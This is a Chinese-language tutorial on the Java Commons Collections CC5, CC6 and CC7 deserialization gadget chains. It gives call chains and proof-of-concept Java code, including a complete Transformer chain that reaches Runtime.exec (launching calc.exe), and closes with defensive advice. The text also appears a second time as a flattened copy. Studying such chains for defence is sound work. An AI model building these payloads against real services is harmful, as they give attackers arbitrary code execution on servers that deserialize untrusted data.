通俗易懂的Java Commons Collections 5、6、7分析
字数 1174 2025-08-03 16:50:23

Java Commons Collections 反序列化漏洞分析(CC5-7)

概述

本文详细分析Java Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链。这些漏洞存在于Apache Commons Collections库中,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

CC5分析

环境要求

  • JDK 1.8 (特定版本8u76且无安全管理器)
  • Commons Collections 3.1

利用链

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

关键类介绍

TiedMapEntry

  • 有两个参数:Map类型和Object类型
  • 关键方法:getValue()toString()

BadAttributeValueExpException

  • 只有一个val参数

POC分析

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);

// 通过反射设置val字段
Field val = Class.forName("javax.management.BadAttributeValueExpException")
    .getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);

触发流程

  1. BadAttributeValueExpException.readObject()读取序列化数据
  2. 调用TiedMapEntry.toString()
  3. toString()调用getValue()
  4. getValue()调用LazyMap.get()
  5. get()触发ChainedTransformer.transform()
  6. 通过一系列反射调用最终执行命令

CC6分析

环境要求

  • JDK 1.8
  • Commons Collections 3.1

利用链

java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

POC分析

// 构造两个Transformer数组
Transformer[] fakeTransformers = new Transformer[] {...}; // 测试用
Transformer[] transformers = new Transformer[] {...}; // 实际执行

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap, "foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap); // 这里会触发一次RCE
outerMap.remove("foo"); // 移除key以便后续触发

// 通过反射替换transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

触发流程

  1. HashMap.readObject()反序列化
  2. 调用put()方法
  3. 调用hash()方法
  4. 调用TiedMapEntry.hashCode()
  5. 调用getValue()
  6. 调用LazyMap.get()
  7. 触发ChainedTransformer.transform()
  8. 执行命令

CC7分析

环境要求

  • JDK 1.8
  • Commons Collections 3.1

利用链

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

POC分析

Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {...}; // 实际执行

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 创建两个LazyMap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // "yy"和"zZ"的hash相同

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1); // 第一次put
hashtable.put(lazyMap2, 2); // 第二次put会触发RCE

// 反射替换transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy"); // 移除key避免equals返回false

触发流程

  1. Hashtable.readObject()反序列化
  2. 调用reconstitutionPut()两次
  3. 第二次调用时进入equals比较
  4. 调用AbstractMap.equals()
  5. 调用LazyMap.get()
  6. 触发ChainedTransformer.transform()
  7. 执行命令

总结

CC5-7利用链的共同特点是通过各种途径调用LazyMap.get()或类似方法,最终触发ChainedTransformer.transform()执行恶意代码。关键点包括:

  1. 利用Java反序列化机制触发调用链
  2. 通过反射设置关键字段值
  3. 精心构造对象关系确保调用流程
  4. 注意hash冲突和key处理等细节

防御措施:

  • 升级Commons Collections到安全版本
  • 使用Java反序列化过滤器
  • 避免反序列化不可信数据
Java Commons Collections 反序列化漏洞分析(CC5-7) 概述 本文详细分析Java Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链。这些漏洞存在于Apache Commons Collections库中,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。 CC5分析 环境要求 JDK 1.8 (特定版本8u76且无安全管理器) Commons Collections 3.1 利用链 关键类介绍 TiedMapEntry 有两个参数:Map类型和Object类型 关键方法: getValue() 和 toString() BadAttributeValueExpException 只有一个 val 参数 POC分析 触发流程 BadAttributeValueExpException.readObject() 读取序列化数据 调用 TiedMapEntry.toString() toString() 调用 getValue() getValue() 调用 LazyMap.get() get() 触发 ChainedTransformer.transform() 通过一系列反射调用最终执行命令 CC6分析 环境要求 JDK 1.8 Commons Collections 3.1 利用链 POC分析 触发流程 HashMap.readObject() 反序列化 调用 put() 方法 调用 hash() 方法 调用 TiedMapEntry.hashCode() 调用 getValue() 调用 LazyMap.get() 触发 ChainedTransformer.transform() 执行命令 CC7分析 环境要求 JDK 1.8 Commons Collections 3.1 利用链 POC分析 触发流程 Hashtable.readObject() 反序列化 调用 reconstitutionPut() 两次 第二次调用时进入 equals 比较 调用 AbstractMap.equals() 调用 LazyMap.get() 触发 ChainedTransformer.transform() 执行命令 总结 CC5-7利用链的共同特点是通过各种途径调用 LazyMap.get() 或类似方法,最终触发 ChainedTransformer.transform() 执行恶意代码。关键点包括: 利用Java反序列化机制触发调用链 通过反射设置关键字段值 精心构造对象关系确保调用流程 注意hash冲突和key处理等细节 防御措施: 升级Commons Collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据